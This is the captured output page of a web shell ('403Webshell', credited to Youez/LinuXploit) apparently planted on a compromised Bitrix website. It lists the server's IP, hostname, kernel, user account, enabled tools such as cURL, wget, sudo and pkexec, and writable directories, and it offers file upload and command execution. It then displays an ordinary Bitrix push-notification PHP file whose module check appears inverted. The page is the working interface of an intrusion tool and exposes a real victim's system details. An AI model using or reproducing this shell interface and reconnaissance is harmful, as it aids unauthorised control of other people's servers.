403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/mobileapp/install/tools/mobileapp/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/mobileapp/install/tools/mobileapp/push.php
<?php
use Bitrix\Main\Web\Json;

define('BX_SECURITY_SHOW_MESSAGE', 1);
define("NO_KEEP_STATISTIC", true);
define("NOT_CHECK_FILE_PERMISSIONS", true);

require_once($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/prolog_before.php");

$result = Array(
	"status" => "failed",
);

if (\Bitrix\Main\Loader::includeModule("pull"))
{
	$result["error"] = "Module 'pull' is not installed";
}
else
{
	/**
	 * @var $DB CDatabase
	 * @var $USER CUser
	 */
	if ($USER->IsAuthorized() && $_REQUEST["device_token"])
	{
		$token = $_REQUEST["device_token"];
		$uuid = $_REQUEST["uuid"];
		$app_id = $_REQUEST["app_id"];
		$data = array(
			"status" => "failed",
			"token" => $token,
			"error" => "some unknown error",
			"user_id" => $USER->GetID()
		);


		$dbres = CPullPush::GetList(Array(), Array("DEVICE_ID" => $uuid));
		$arToken = $dbres->Fetch();

		$arFields = Array(
			"USER_ID" => $USER->GetID(),
			"DEVICE_NAME" => $_REQUEST["device_name"],
			"DEVICE_TYPE" => $_REQUEST["device_type"],
			"DEVICE_ID" => $uuid,
			"DEVICE_TOKEN" => $token,
			"DATE_AUTH" => ConvertTimeStamp(microtime(true), "FULL"),
			"APP_ID" => $app_id
		);

		if ($arToken["ID"])
		{
			$res = CPullPush::Update($arToken["ID"], $arFields);
			$data["register_token"] = "updated";
		}
		else
		{
			$res = CPullPush::Add($arFields);
			if ($res)
			{
				$data["register_token"] = "created";
			}
		}
	}
}

header("Content-Type: application/x-javascript");
echo Json::encode($result);
die();

Youez - 2016 - github.com/yon3zu
LinuXploit